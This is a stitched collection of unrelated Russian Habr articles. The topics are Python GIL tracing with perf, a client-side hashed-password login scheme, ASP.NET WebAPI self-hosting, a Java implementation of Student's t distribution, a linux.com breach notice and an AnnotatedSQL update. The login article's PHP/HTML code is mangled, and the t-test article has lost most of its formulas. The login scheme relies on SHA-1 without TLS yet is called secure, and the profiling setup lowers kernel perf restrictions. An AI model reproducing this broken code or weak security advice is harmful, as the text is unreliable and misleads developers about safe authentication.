Время между вызовами `take_gil`, то есть между блокировками (а следовательно, между засыпанием или пробуждением), точно такое же, как в вышеприведённой таблице в колонке gil wait%. Длительность включения GIL для каждого потока, помеченная как LOCK, соответствует времени в колонке gil%.
Выпускаем Кракена… гхм, GIL
---------------------------
Мы видели, как при многопоточном исполнении программы на чистом Python GIL ограничивает производительность, разрешая одновременно исполнять только один поток или процесс (для одного процесса Python, разумеется, и, возможно, в будущем для одного (суб)интерпретатора). Теперь посмотрим, что будет, если отключить GIL, как это происходит при исполнении функций NumPy.
Во втором примере исполняется `some_numpy_computation`, которая вызывает функцию NumPy M=4 раз параллельно в двух потоках, в то время как основной поток исполняет чистый код на Python.
```
import threading
import time
import numpy as np
N = 1024*1024*32
M = 4
x = np.arange(N, dtype='f8')
def some_numpy_computation():
total = 0
for i in range(M):
total += x.sum()
return total
def main(args=None):
thread1 = threading.Thread(target=some_numpy_computation)
thread2 = threading.Thread(target=some_numpy_computation)
thread1.start()
thread2.start()
total = 0
for i in range(2_000_000):
total += i
for thread in [thread1, thread2]:
thread.join()
main()
```
Вместо исполнения этого скрипта с помощью perf и VizTracer мы применим утилиту `per4m giltracer`, которая автоматизирует все вышеописанные этапы. Она сделает это немного умнее. По сути, мы дважды запустим perf, один раз без трассировки стека, а второй раз с ней, и импортируем модуль/скрипт до исполнения его основной функции, чтобы избавиться от неинтересной трассировки вроде того же импортирования. Это произойдёт достаточно быстро, чтобы мы не потеряли события.
```
$ giltracer --state-detect -o example2-uprobes.html -m per4m.example2
...
```
Итоги по потокам:
```
PID total(us) no gil% has gil% gil wait%
-------- ----------- ----------- ------------ -------------
3373601* 1359990.0 95.8 4.2 0.1
3373683 60276.4 84.6 2.2 13.2
3373684 57324.0 89.2 1.9 8.9
High 'no gil' is good, we like low 'has gil',
and we don't want 'gil wait'. (* indicates main thread)
...
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/example2-uprobes.html ...
...
```
Хотя в основном потоке исполняется код на Python (для него включён GIL, что обозначается словом LOCK), параллельно исполняются и другие потоки. Обратите внимание, что в примере с чистым Python у нас одновременно исполняется один поток или процесс. А здесь действительно параллельно исполняется три потока. Это стало возможно потому, что подпрограммы NumPy, входящие в C/C++/Fortran, отключили GIL.
Однако GIL всё же влияет на потоки, потому что когда функция NumPy возвращается в Python, ей снова нужно получить GIL, как видно из длительных блоков `take_gil`. На это тратится 10 % времени каждого потока.
Интеграция Jupyter
------------------
Поскольку мой рабочий процесс часто подразумевает работу на MacBook (который не исполняет perf, но поддерживает dtrace), удалённо подключённом к Linux-машине, я использую Jupyter notebook для удалённого исполнения кода. И раз я Jupyter-разработчик, мне пришлось сделать обёртку с помощью `cell magic`.
```
# this registers the giltracer cell magic
%load_ext per4m
%%giltracer
# this call the main define above, but this can also be a multiline code cell
main()
Saving report to /tmp/tmpvi8zw9ut/viztracer.json ...
Dumping trace data to json, total entries: 117, estimated json file size: 13.7KiB
Report saved.
[ perf record: Woken up 1 times to write data ]
[ perf record: Captured and wrote 0,094 MB /tmp/tmpvi8zw9ut/perf.data (244 samples) ]
Wait for perf to finish...
perf script -i /tmp/tmpvi8zw9ut/perf.data --no-inline --ns | per4m perf2trace gil -o /tmp/tmpvi8zw9ut/giltracer.json -q -v
Saving report to /home/maartenbreddels/github/maartenbreddels/fastblog/_notebooks/giltracer.html ...
Dumping trace data to json, total entries: 849, estimated json file size: 99.5KiB
Generating HTML report
Report saved.
```
[Скачать giltracer.html](https://www.maartenbreddels.com/perf/jupyter/python/tracing/gil/2021/01/14/giltracer.html)
[Открыть giltracer.html в новой вкладке](https://www.maartenbreddels.com/perf/jupyter/python/tracing/gil/2021/01/14/giltracer.html) (может не работать в связи с обеспечением безопасности)
Заключение
----------
С помощью perf мы можем определять состояния процессов или потоков, что помогает понять, у кого из них включался GIL в Python. А с помощью трассировок стека можно определить, что причиной сна был GIL, а не `time.sleep`, например.
Сочетание uprobes с perf позволяет трассировать вызов и возвращение результатов функций `take_gil` и `drop_gil`, получая ещё больше информации о влиянии GIL на вашу Python-программу.
Работу нам облегчает экспериментальный пакет per4m, преобразующий скрипт perf в JSON-формат VizTracer, а также некоторые инструменты оркестрации.
Много букаф, не осилил
----------------------
Если вам просто хочется посмотреть на влияние GIL, то однократно запустите это:
```
sudo yum install perf
sudo sysctl kernel.perf_event_paranoid=-1
sudo mount -o remount,mode=755 /sys/kernel/debug
sudo mount -o remount,mode=755 /sys/kernel/debug/tracing
sudo perf probe -f -x `which python` python:take_gil=take_gil
sudo perf probe -f -x `which python` python:take_gil=take_gil%return
sudo perf probe -f -x `which python` python:drop_gil=drop_gil
sudo perf probe -f -x `which python` python:drop_gil=drop_gil%return
pip install "viztracer>=0.11.2" "per4m>=0.1,<0.2"
```
Пример использования:
```
# module
$ giltracer per4m/example2.py
# script
$ giltracer -m per4m.example2
# add thread/process state detection
$ giltracer --state-detect -m per4m.example2
# without uprobes (in case that fails)
$ giltracer --state-detect --no-gil-detect -m per4m.example2
```
Планы на будущее
----------------
Хотелось бы мне, чтобы не пришлось разрабатывать эти инструменты. Надеюсь, мне удалось вдохновить кого-то на создание более совершенных средств, чем мои. Я хочу сосредоточиться на написании высокопроизводительного кода. Однако у меня есть такие планы на будущее:
* Раскопать измеритель производительности в VizTracer, чтобы посмотреть на промахи кеша или простои процесса.
* Внедрить трассировку стека Python в трассировки perf, чтобы объединить их с инструментами вроде <http://www.brendangregg.com/offcpuanalysis.html>
* Повторить то же упражнение с помощью dtrace, чтобы использовать в MacOS.
* Автоматически определять, какие C-функции **не** отключают GIL (<https://github.com/vaexio/vaex/pull/1114>, <https://github.com/apache/arrow/pull/7756> )
* Применить всё это для решения других задач, например <https://github.com/h5py/h5py/issues/1516> | https://habr.com/ru/post/538706/ | null | ru | null |
# Безопасная авторизация с передачей хешированного пароля
При разработке одного проекта, появилась задача осуществить защиту в случае просмотра трафика, и просмотра исходника (могут узнать хеш пароля) злоумышленниками. Имея доступ ко всем данным, никто не должен авторизоваться на сервере, не зная исходный пароль. Варианты подмены IP адреса, получение пароля непосредственно в момент ввода (keylog), или брутфорс исключаем, это уже не забота веб сайта.
Пароль по сети передаваться не будет, поэтому используется хеширование прямо в браузере, для этого использую небольшую библиотеку [JavaScript SHA-1](http://pajhome.org.uk/crypt/md5/sha1.html). Почему SHA-1, а не, допустим, MD5? Считается, что SHA-1 немного надежнее, да и сама JavaScript библиотека меньше, чем аналогичная (на том же сайте) для MD5.
Вместо самого пароля передается хеш `hash2 = sha1_hmac(login, password)`, однако на сервере хранится не он, а его хеш с логином: `sha1_hmac(hash2, login)`. Этим отсекаем возможность залогиниться, если кто-то украл захешированные данные с сервера, например, взяли из базы данных, или прочитали php файл, если хеш данные находятся в нем, как в примере ниже.
Для защиты от перехваченного трафика, с формой авторизации передается хеш, сформированный на основе random данных, IP адреса, и обратного хеша на основе логин-пароль: `hash1 = sha1_hmac(password, login); key = sha1(hash1, random_key+remote_addr)`. Случайно сформированный ключ для хеширования хранится в сессии.
Пример:
В файле храним два хеша на основе логина и пароля, один обратный `sha1_hmac(pass, login)`, и один прямой двойной `sha1_hmac(sha1_hmac(login, pass), login)`.
Логин у меня не меняется, так как для моей задачи так надо, желающие могут сделать как им угодно (достаточно заменить `type="hidden"` на `type="text"`).
Исходный код `auth.php`:
> `php<br/
>
>
> $login = 'test';
>
> //echo hash\_hmac('sha1', 'pass', $login).'
> ';
> action="auth.php" method="post">
>
> "hidden" name="remote\_addr" value="$remote\_addr">
>
> "hidden" name="key" value="$key">
>
> "hidden" name="login" value="$login">
>
> $login:
>
> "password" name="password" value="">
>
> "submit">
>
>
>
> <br/>
> var key = $(<font color="#008000">'input[name=key]').val();</font><br/>
> var remote\_addr = $(<font color="#008000">'input[name=remote\_addr]').val();</font><br/>
> $(<font color="#008000">'form[name=auth]').submit(function() {</font><br/>
> var login = $(<font color="#008000">'input[name=login]').val();</font><br/>
> var password = $(<font color="#008000">'input[name=password]').val();</font><br/>
> var key\_hash = hex\_hmac\_sha1(hex\_hmac\_sha1(login, password), key+remote\_addr);<br/>
> $(<font color="#008000">'input[name=key]').val(key\_hash);</font><br/>
> var pass\_hash = hex\_hmac\_sha1(password, login);<br/>
> $(<font color="#008000">'input[name=password]').val(pass\_hash);</font><br/>
> });<br/>
> $(<font color="#008000">'input[name=password]').focus();</font><br/>
>
>
> EOF;
>
> }
>
> }
>
>
>
> session_start();
>
> if (isset($_SESSION['remote\_addr']) and ($\_SESSION['remote\_addr'] === $\_SERVER['REMOTE\_ADDR'])) {
>
> if ($_GET['mode'] === 'logout') {
>
> unset($_SESSION['remote\_addr']);
>
> auth();
>
> } else {
>
> print_r($_SESSION);
>
> echo '[Exit](?mode=logout)';
>
> }
>
> } else {
>
> auth();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Скачать исходники: [auth.zip](http://klava.org/siteed/auth.zip)
Пример: [auth.php](http://klava.org/siteed/auth.php) — пароль: pass
**P.S.** jQuery используется потому, что он мне нужен в дальнейшем, в принципе в нем нет необходимости для вышеописанного.
**P.P.S.** обратите внимание, что порядок аргументов у функции хеширования в JavaScript обратный, чем в тех же функциях PHP | https://habr.com/ru/post/85698/ | null | ru | null |
# Эффективное использование WebAPI: self hosting REST-сервисов
С выходом [ASP.NET WebAPI](http://www.asp.net/web-api) у разработчиков появилась возможность быстро создавать REST-сервисы в удобном виде, с одной стороны полностью реализуя принципы REST, а с другой используя всю мощь платформы ASP.NET.
Про возможности и применение WebAPI написано уже достаточно много статей, например, вы можете узнать о интересной [функции самодокументирования](http://habrahabr.ru/company/microsoft/blog/144915/) API сервиса через ApiExplorer.
Существует еще одна замечательная возможность WebAPI, про которую написано не так много — это возможность WebAPI осуществлять самостоятельный хостинг сервиса (self hosting). В этой статье на примере разбирается, как создавать и запускать REST selfhosting-сервисы на базе WebAPI.
### Self hosting REST-сервиса
Для предоставления доступа к API сервиса не всегда является целесообразным разворачивать его на базе сервера IIS. Если сервис не является частью какого-либо веб-приложения, имеет смысл запускать его на базе собственной инфраструктуры.
Другим вариантом использования механизма self hosting может быть запуск сервисов на платформах, которые не содержат сервер IIS либо на которых запуск IIS осложнен или излишен.
Так или иначе, WebAPI позволяет вам создавать сервисы независимые от IIS, доступ к которым может быть получен без установки веб-приложения на веб-сервер .
### Сервис внутри консольного приложения
Рассмотрим функцию самостоятельного хостинга на простейшем примере консольного приложения. Создайте в Visual Studio 2012 консольное приложение на базе шаблона для языка C#.
С помощью консоли пакетного менеджера NuGet установите пакет AspNetWebApi.Selfhost. Это можно проделать следующей командой:
> *Install-package AspNetWebApi.Selfhost*
>
>
Данная команда установит все необходимые компоненты в проект консольного приложения. После этого добавьте в проект ссылку на сборку System.Web, если такой ссылки еще нет.
Первым шагом для создания selfhosting-сервиса будет его конфигурирование. За конфигурирование отвечает класс HttpSelfHostConfiguration. Ниже пример конфигурирования сервиса:
```
var selfHostConfiguraiton = new HttpSelfHostConfiguration("http://localhost:5555");
selfHostConfiguraiton.Routes.MapHttpRoute(
name: "DefaultApiRoute",
routeTemplate: "api/{controller}",
defaults: null
);
```
Первая строка создает экземпляр класса сервера с установленным адресом. Вторая строка конфигурирует механизм маршрутизации сервера для того, чтобы мы могли запускать на нем свои REST API.
Следующим шагом будет запуск сервера, это достигается с помощью другого класса HttpSelfHostServer. Ниже код, который запускает сервер для selfhosting -сервисов:
```
using (var server = new HttpSelfHostServer(selfHostConfiguraiton))
{
server.OpenAsync().Wait();
Console.ReadLine();
}
```
Пришло время добавить в наше приложение REST-сервис, который будет хоститься на нашем сервере. Для этого добавьте в проект новый элемент Web API Controller Class, например, с именем ProductController. Добавьте в проект новый класс с именем Product:
```
public class Product
{
public int ID { get; set; }
public string Name { get; set; }
public string Description { get; set; }
}
```
В только что созданном контроллере ProductController добавьте новый метод GetAllProducts:
```
public IList GetAllProducts()
{
return new List(){
new Product(){ID = 1, Name="Product 1", Description="Desc 1"},
new Product(){ID = 2, Name="Product 2", Description="Desc 2"},
new Product(){ID = 3, Name="Product 3", Description="Desc 3"},
};
}
```
Для того чтобы избежать конфликтов, вам нужно будет удалить или закомментировать сгенерированный в шаблоне метод Get().
В связи с тем, что наше приложение будет представлять собой сервер, слушающий определенные порты, приложение должно быть запущено с повышенными привилегиями. Вы можете запустить скомпилированный исполняемый файл от имени администратора самостоятельно либо запустить проект на исполнение в VS2012 запущенной от имени администратора. Другой возможностью может быть использование команды Netsh.exe для предоставления полномочий резервировать URL текущему пользователю.
Запустите приложение на исполнение.
Теперь, пока запущено наше приложение мы можем обращаться к selfhosting-сервису, который запушен без использования IIS. Просто перейдите по адресу <http://localhost:5555/api/product/>. Для тестирования можно воспользоваться браузером либо использовать Fiddler (рисунок 1).
Рис.1. Результат обращения к selfhosting-сервису
### Запуск selfhosting-сервисов в качестве сервиса Windows
Для запуска selfhosting-сервиса хорошей идеей может стать запуск приложения-сервера в виде сервиса Windows. Сделать это достаточно просто.
Для быстрого создания системных служб может использоваться очень удобный инструмент TopShelf. В консоли пакетного менеджера NuGet выполните команду установки пакета:
> *install-package topshelf*
>
>
После установки пакета вы получите доступ к API, который позволит вам упрощенно создать из своего приложения службу Windows.
Немного изменим код нашего проекта. Во-первых, вынесем запуск сервера в отдельный класс ProductService:
```
class ProductService
{
private readonly HttpSelfHostServer server;
public ProductService()
{
var selfHostConfiguraiton = new HttpSelfHostConfiguration("http://127.0.0.1:5555");
selfHostConfiguraiton.Routes.MapHttpRoute(
name: "DefaultApiRoute",
routeTemplate: "api/{controller}",
defaults: null
);
server = new HttpSelfHostServer(selfHostConfiguraiton);
}
public void Start()
{
server.OpenAsync();
}
public void Stop()
{
server.CloseAsync();
server.Dispose();
}
}
```
Затем модифицируем код метода Main для запуска сервиса с помощью API TopShelf:
```
static void Main(string[] args)
{
HostFactory.Run(x =>
{
x.Service(s =>
{
s.SetServiceName("ProductService Example");
s.ConstructUsing(name => new ProductService());
s.WhenStarted(svc => svc.Start());
s.WhenStopped(svc => svc.Stop());
});
x.RunAsLocalSystem();
x.SetDescription("ProductService WebAPI selfhosting Windows Service Example");
x.SetDisplayName("ProductService Example");
x.SetServiceName("ProductService");
});
}
```
Здесь с помощью специальных методов, которые предлагает TopShelf мы регистрируем сервис, задавая необходимый для запуска класс, его методы старта и прекращения работы, данные описание сервиса и его название.
После необходимых модификаций скомпилируйте проект. Теперь вы можете запустить свое приложение в виде сервиса Windows, это делается с помощью команды:
> *WebApiSelfhosting install*
>
>
Сервис будет установлен (рисунок 2).
Рис.2. Установка сервиса Windows
Теперь, если вы перейдете в список системных служб Windows вы без труда обнаружите свое приложение (рисунок 3).
Рис.3. Служба в списке системных служб
Вам может потребоваться запустить ваш сервис, если он не запущен (рисунок 4)
Рис.4. Запуск службы
Проверим работу selfhosting-сервиса запущенного в качестве сервиса Windows в Fiddler и убедимся, что все работает.
Удалить сервис из системы можно командой:
> *WebApiSelfhosting uninstall*
>
>
### Заключение
В этой статье мы рассмотрели одну из функциональных возможностей ASP.NET WebAPI. С помощью механизма self hosting, который поддерживается в WebAPI вы можете создавать REST-сервисы, которые не требуют для своего запуска сервера IIS и могут быть запущены в том окружении, в котором вы захотите.
ASP.NET WebAPI – это новый инструмент, доступный разработчикам в Visual Studio 2012. Вы можете загрузить новую версию Visual Studio 2012 RC по специальному короткому адресу: <http://vs2012.ru/>.
Исходные коды финального проекта (со всеми пакетами и бинарными компонентами) доступны по ссылке [sdrv.ms/K9F7Hs](http://sdrv.ms/K9F7Hs) | https://habr.com/ru/post/145178/ | null | ru | null |
# Минуя бесконечность: t-тест своими руками
В этом посте речь пойдёт о реализации процедуры вычисления значения функции распределения Стьюдента без использования каких-либо специальных математических библиотек. Только Java (либо C/C++, код вполне универсален).
T-тест это...
=============
Для старта, вспомним немного теории: t-тест, он же тест Стьдента, используется для проверки статистических гипотез о равенстве математических ожиданий двух выборок, либо о равенстве некоторому значению математического ожидания одной выборки.
T-тест бывает:
* одновыборочным или двухвыборочным (смотрите выше);
* односторонним или двухсторонним (оцениваемая величина строго положительна или может иметь отрицательные значения соотвественно, смотрите ниже );
* точным или ассимптотическим (оцениваемые выборки имеют нормальное распределение или лишь стремятся к нему, соответсвенно).
Для проведения теста нам необходимо вычислить значение t-статистики.
Для двух выборок:
, где  и  — расчётные математические ожидания выборок,  и  — дисперсии выборок, а  и  — количество элементов в первой и второй выборке соответственно.
Для одной выборки:
, где  и D- рассчитанные математическое ожидание и дисперсия выборки, N — количество элементов, m — величина, равенство которой математического ожидания проверяется в тесте.
Рассчитанная величина t имеет распределение Стьюдента, если исходные данные распределены по Гауссу, или стремится к распределению Стьюдента в случае негауссовых выборок.
Распределение вероятностей описывается функцией %3D%7BP(x%3Ct)%7D), где n — количество степеней свободы:  в случае одной выборки и  в случае двух выборок.
Как и любое распределение вероятностей,  монотонно стремится к 0 или к 1 при аргументе стремящемся к отрицательной или положительной бесконечности соответственно.
Использование распределения рассмотрим на примере двусторонней оценки математического ожидания для одной выборки: предположим, что реальное значение математического ожидания равно m, тогда, рассчитанная статистика t должна иметь значение из окрестности 0. То есть, существует некоторое значение T, такое что: -%3E1). Вероятность, что значение случайно окажется за пределами этого диапазона составляет: ), где  — величина, называемая уровнем значимости. Если рассчитанное значение статистики t находится за пределами интервала (-T; T), то с вероятностью  можно утверждать, что  отлично от m.
В случае одностороннего теста, рассматривается только один из «хвостов» распределения и .
Что касается значения T, то оно может быть взято из таблицы (например, [здесь](http://www.statsoft.ru/home/textbook/modules/sttable.html#t)) или вычислено как значение обратной функции к  для требуемого . Табличные значения есть не для всех возможных уровней значимости и количеств степеней свободы, а вычисление обратной функции весьма трудоёмко.
Во многих случаях можно поступить проще: воспользоваться свойством монотонности функции распределения. Вычислив значение вероятности ), можно сравнить его с . Если окажется, что , можно утверждать, что . Верно и обратное.
Формула самой функции ) будет рассмотрена далее.
На стыке бесконечноcтей
=======================
Для описания функции вероятностей Стьюдента, нам понадобится определить две дополнительные функции:
* гамма-функция Эйлера %3D%5Cint%5Climits_0%5E1%20(-%5Cln%7Bx%7D)%5E%7Bz-1%7D%20%5C%2C%20dx);
* гипергеометрическая функция %20%3D%201%2B%20%5Csum%5E%5Cinfty_%7Bk%3D1%7D%5Cleft%5B%5Cprod%5E%7Bk-1%7D_%7Bl%3D0%7D%20%7B%20(%20a%20%2B%20l%20)(%20b%20%2B%20l%20)%20%5Cover%20(%201%20%2B%20l%20)(%20c%20%2B%20l%20)%20%7D%5Cright%5Dz%5Ek), важно отметить, что приведённая формула корректна для значений .
Функция распределения Стьюдента: %3D%5Cfrac%7B1%7D%7B2%7D%2B%5Cfrac%7Bt%7D%7B%5Csqrt%7B%5Cpi%20n%7D%7D%5Ctimes%20%5Cfrac%7B%5CGamma%5Cleft(%5Cfrac%20%7Bn%2B1%7D%7B2%7D%5Cright)%7D%7B%5CGamma%20%5Cleft(%20%5Cfrac%7Bn%7D%7B2%7D%5Cright)%7D%20%5Ctimes%20H%5Cleft(%20%5Cfrac%7B1%7D%7B2%7D%2C%20%5Cfrac%20%7Bn%2B1%7D%7B2%7D%2C%20%5Cfrac%7B3%7D%7B2%7D%2C%20-%20%5Cfrac%7Bt%5E2%7D%7Bn%7D%20%20%5Cright)).
При численной реализации этой формулы для больших значений n возникает проблема с множителем %7D%7B%5CGamma%5Cleft(%5Cfrac%7Bn%7D%7B2%7D%5Cright)%7D). Не смотря на то, что само отношение имеет достаточно небольшие значения, числитель и знаменатель по отдельности могут принимать значения, для которых не хватит разрядности типа с плавающей точкой. Численно, мы получаем неопределённость вида .
Для разрешения этой проблемы, воспользуемся следующим свойством гамма-функции:
%3D%5Cfrac%7B%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%5Cright)%20%5C%3B%20%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%20%2B%20%5Cfrac%7B1%7D%7B2%7D%5Cright)%7D%7B2%5E%7B1-x%7D%20%5C%3B%20%5Csqrt%7B%5Cpi%7D%20%5C%3B%20%7D)
С учётом этого свойства, можно переписать отношение гамма-функций следующим образом:
%7D%7B%5CGamma(y)%7D%3D%5Cleft(2%5E%7Bx-y%7D%5Cright)%5Ctimes%20%5Cfrac%7B%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%5Cright)%20%5C%3B%20%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%20%2B%20%5Cfrac%7B1%7D%7B2%7D%5Cright)%7D%7B%5CGamma%5Cleft(%5Cfrac%7By%7D%7B2%7D%5Cright)%20%5C%3B%20%5CGamma%5Cleft(%5Cfrac%7By%7D%7B2%7D%20%2B%20%5Cfrac%7B1%7D%7B2%7D%5Cright)%7D%3D%5Cleft(2%5E%7Bx-y%7D%5Cright)%5Ctimes%20%5Cfrac%7B%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%5Cright)%20%7D%7B%5CGamma%5Cleft(%5Cfrac%7By%7D%7B2%7D%5Cright)%7D%5Ctimes%5Cfrac%7B%5CGamma%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%20%2B%20%5Cfrac%7B1%7D%7B2%7D%5Cright)%7D%7B%5CGamma%5Cleft(%5Cfrac%7By%7D%7B2%7D%20%2B%20%5Cfrac%7B1%7D%7B2%7D%5Cright)%7D)
Предположим, что есть некоторое значение Q, такое, что отношение гамма-функций корректно вычисляется напрямую, если аргументы числителя и знаменателя не превышают Q (предполагаем, что мы работаем только с положительными действительными аргументами). Тогда рассмотрим функцию %3D%5Cfrac%7B%5CGamma(x)%7D%7B%5CGamma(y)%7D), которая вычисляется рекурсивно:
%3D%5Cleft%5C%7B%20%5Cbegin%7Barray%7D%7B*%7B35%7Dl%7D%0A%20%20%20%5Cfrac%7B%5CGamma(x)%7D%7B%5CGamma(y)%7D%20%26%20%3B%20%26%20max(x%2C%20y)%5Cleqslant%20Q%20%20%5C%5C%0A%20%20%202%5E%7Bx-y%7D%5Ctimes%20R%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%2C%20%5Cfrac%7By%7D%7B2%7D%5Cright)%5Ctimes%20R%5Cleft(%5Cfrac%7Bx%7D%7B2%7D%20%2B%5Cfrac%7B1%7D%7B2%7D%2C%20%5Cfrac%7By%7D%7B2%7D%20%2B%5Cfrac%7B1%7D%7B2%7D%5Cright)%26%20%3B%20%26%20max(x%2C%20y)%3EQ%20%20%5C%5C%0A%5Cend%7Barray%7D%20%5Cright)
С учётом введённых определений, можно переписать функцию вероятностей:
%3D%5Cfrac%7B1%7D%7B2%7D%2B%5Cfrac%7Bt%7D%7B%5Csqrt%7B%5Cpi%20n%7D%7D%5Ctimes%20R%5Cleft(%5Cfrac%20%7Bn%2B1%7D%7B2%7D%2C%5Cfrac%7Bn%7D%7B2%7D%5Cright)%7D%20%5Ctimes%20H%5Cleft(%20%5Cfrac%7B1%7D%7B2%7D%2C%20%5Cfrac%20%7Bn%2B1%7D%7B2%7D%2C%20%5Cfrac%7B3%7D%7B2%7D%2C%20-%20%5Cfrac%7Bt%5E2%7D%7Bn%7D%20%20%5Cright))
и переходить к реализации.
Реализация
==========
Все рассматриваемые далее процедуры у меня реализованы как статические метод специализированного класса в Java, чтобы использовать их без создания экземпляров. Для реализации в C/C++ спецификатор "static" не актуален (хотя и не криминален).
#### Гамма-функция Эйлера
Начнём с гамма-функции Эйлера: на её основе рассчитываются многие статистические величины. Предполагаем, что гамма-функция будет вычисляться для действительных положительных аргументов.
Формулу для численного расчёта можно подсмотреть, например, [здесь](http://introcs.cs.princeton.edu/java/91float/). Программный код на Java выглядит следующим образом:
```
// Euler's gamma-function
static double gamma(double x) {
double tmp = (x - 0.5) * Math.log(x + 4.5) - (x + 4.5);
double ser = 1.0 +
76.18009173 / (x + 0.0) - 86.50532033 / (x + 1.0) +
24.01409822 / (x + 2.0) - 1.231739516 / (x + 3.0) +
0.00120858003 / (x + 4.0) - 0.00000536382 / (x + 5.0);
return Math.exp(tmp + Math.log(ser * Math.sqrt(2 * Math.PI)));
}
```
Пару лёгких движений по удалению всех «Math.» и мы получим код на C/C++.
#### Отношение гамма-функций
Функция принимает на вход два аргумента: первый — аргумент числителя, второй — знаменателя. Если максимальный из аргументов меньше либо равен 100, то вычисляем отношение напрямую. Иначе, вычисляем рекурсивно по частям, деля аргументы надвое. Число 100 выбрано эмпирически.
Кстати, такое вычисление отношения гамма-функций имеет логарифмическую сложность от максимального значения аргумента (при больших значениях).
```
// gamma(x) / gamma(y)
static double gammaRatio(double x, double y) {
double m = Math.abs(Math.max(x, y));
if (m <= 100.0)
return gamma(x) / gamma(y);
return Math.pow(2, x - y) *
gammaRatio(x * 0.5, y * 0.5) *
gammaRatio(x * 0.5 + 0.5, y * 0.5 + 0.5);
}
```
Поиск максимального из аргументов выполняется для большей универсальности функции. При вычислении функции распределения Стьюдента, аргумент числителя всегда больше аргумента знаменателя. Без «Math.» мы получим код на C/C++.
#### Гипергеометрическая функция
Так как функция вычисляется через сумму сходящегося ряда, нам необходимо в функцию передавать дополнительный аргумент: требуемое количество слагаемых.
```
// hypergeometric function
static double hyperGeom(double a, double b, double c, double z, int deep) {
double S = 1.0, M, d;
for (int i = 1; i <= deep; i++) {
M = Math.pow(z, (double)i);
for (int j = 0; j < i; j++) {
d = (double)j;
M *= (a + d) * (b + d) / ( (1.0 + d) * (c + d) );
}
S += M;
}
return S;
}
```
По умолчанию будем использовать 20 слагаемых.
```
// hypergeometric function with default deep value= 20
static double hyperGeom(double a, double b, double c, double z) {
return hyperGeom(a, b, c, z, 20);
}
```
При использовании в C/C++ коде просто меняем сигнатуру первой функции:
```
// hypergeometric function
double hyperGeom(double a, double b, double c, double z, int deep = 20) {
...
```
Вторая функция уже не нужна.
---
Кстати: *предложенный алгоритм вычисления гипергеометрической функции для расчёта значения распределения Стьюдента можно улучшить. Некоторые аргументы всегда имеют одинаковые значения, поэтому, часть вычислений может быть предварительно проведена один раз для фиксированного значения deep (жду Ваших предложений в комментариях).*
---
#### Функция распределения Стьюдента
Наконец, собираем всё вместе:
```
// Student's distribution
static double tDist(double x, int n) {
double dN = (double)n;
return 0.5 + x * gammaRatio(0.5 * (dN + 1.0), 0.5 * dN) *
hyperGeom(0.5, 0.5 * (dN + 1.0), 1.5, -x*x / dN) / Math.sqrt(Math.PI * dN);
}
```
После компиляции, можно сравнить вычисляемые значения с [табличными](http://www.statsoft.ru/home/textbook/modules/sttable.html#t). Для этого необходимо вызвать функцию со значением статистики из таблицы, числом степеней свободы из первого столбца, полученное значение сравнить со значением в шапке таблицы (предварительно отняв это значение от единицы).
И ещё, необходимо помнить, что приведённая реализация даёт корректные результаты для количества степеней свободы превышающего значение квадрата оцениваемой статистики (что и происходит в реальных задачах с большими объемами данных). Это связано с ограничением аргумента гипергеометрической функции .
В противном случае, можно просто отвергать нулевую гипотезу без рассчета статистики, либо искать реализацию, например, с интегрированием функции плотности распределения Стьюдента. | https://habr.com/ru/post/307712/ | null | ru | null |
# Взломан linux.com
Только что пришло письмо с известием того, что сайт linux.com взломан.
Адреса электронной почты, пароли и ssh ключи могут быть скомпрометированы.
Текст письма:
`Attention Linux.com and LinuxFoundation.org users,
We are writing you because you have an account on Linux.com,
LinuxFoundation.org, or one of the subdomains associated with these domains.
On September 8, 2011, we discovered a security breach that may have
compromised your username, password, email address and other information you
have given to us. We believe this breach was connected to the intrusion on
kernel.org.
As with any intrusion and as a matter of caution, you should consider the
passwords and SSH keys that you have used on these sites compromised. If you
have reused these passwords on other sites, please change them immediately.
We are currently auditing all systems and will update public statements when
we have more information.
We have taken all Linux Foundation servers offline to do complete
re-installs. Linux Foundation services will be put back up as they become
available. We are working around the clock to expedite this process and are
working with authorities in the United States and in Europe to assist with
the investigation.
The Linux Foundation takes the security of its infrastructure and that of
its members extremely seriously and are pursuing all avenues to investigate
this attack and prevent future ones. We apologize for this inconvenience and
will communicate updates as we have them.
Please contact us at info@linuxfoundation.org with questions about this
matter.` | https://habr.com/ru/post/128211/ | null | ru | null |
# AnnotatedSQL: schema + content provider
Наконец дошли руки описать изменения, которые произошли в библиотеке [AnnotatedSQL](https://github.com/hamsterksu/Android-AnnotatedSQL)
Анонс:
1. Изменения в плагине
2. Изменения в аннотациях схемы
3. Что такое content provider в моем понимании
4. Генерируем content provider по схеме
#### 1. Plugin
###### Plugin update site
Теперь это и полноценный плагин для Eclipse со своим [update site](http://dl.dropbox.com/u/8604560/annotatedsql/update_site/)
###### Build path->Libraries->Add Library
Аннотации теперь не надо класть в проект, плагин несет их с собой. Вам необходимо просто добавить AnnotatedSQL Libaray в проект в свойствах проекта. И у вас всегда API будет соответствующее плагину.
###### Шаблоны для создания схемы, таблицы, view
В eclipse есть такая замечательная штука как шаблоны кода. Плагин добавляет свои шаблоны для создания схемы, таблицы, view. и эти шаблоны попадают code completion, тот самый которые показывается по ctrl+space
Например пишем *Tabl* нажимаем заветные кнопки и видим ***Table — AnnotatedSQL***, выбираем и у вас шаблон для таблицы.
Не забываем: что бы перепрыгнуть в следующее поле редактирование шаблона нажимаем клавишу «Tab», а «Enter» завершит редактирование шаблона.
#### 2. Обновления в схеме
**Изменилась пожалуй только одна аннотация**
###### Join
Переименовал атрибуты:
*srcTable* -> **joinTable**
*srcColumn* -> **joinColumn**
*destTable* -> **onTableAlias**
*destColumn* -> **onColumn**
надеюсь так будет понятнее. А главное надо помнить, что *onTableAlias* — не имя таблицы, а алиас на нее.
**А добавилось сразу несколько:**
###### RawJoin
Если ON условие отличается от column1 = column2 тогда вам сюда. Вы указываете таблицу которую джойните и пишите условие руками.
Атрибуты:
**joinTable** — имя таблицы на которую джойнитесь
**onCondition** — ON условие
###### IgnoreColumns
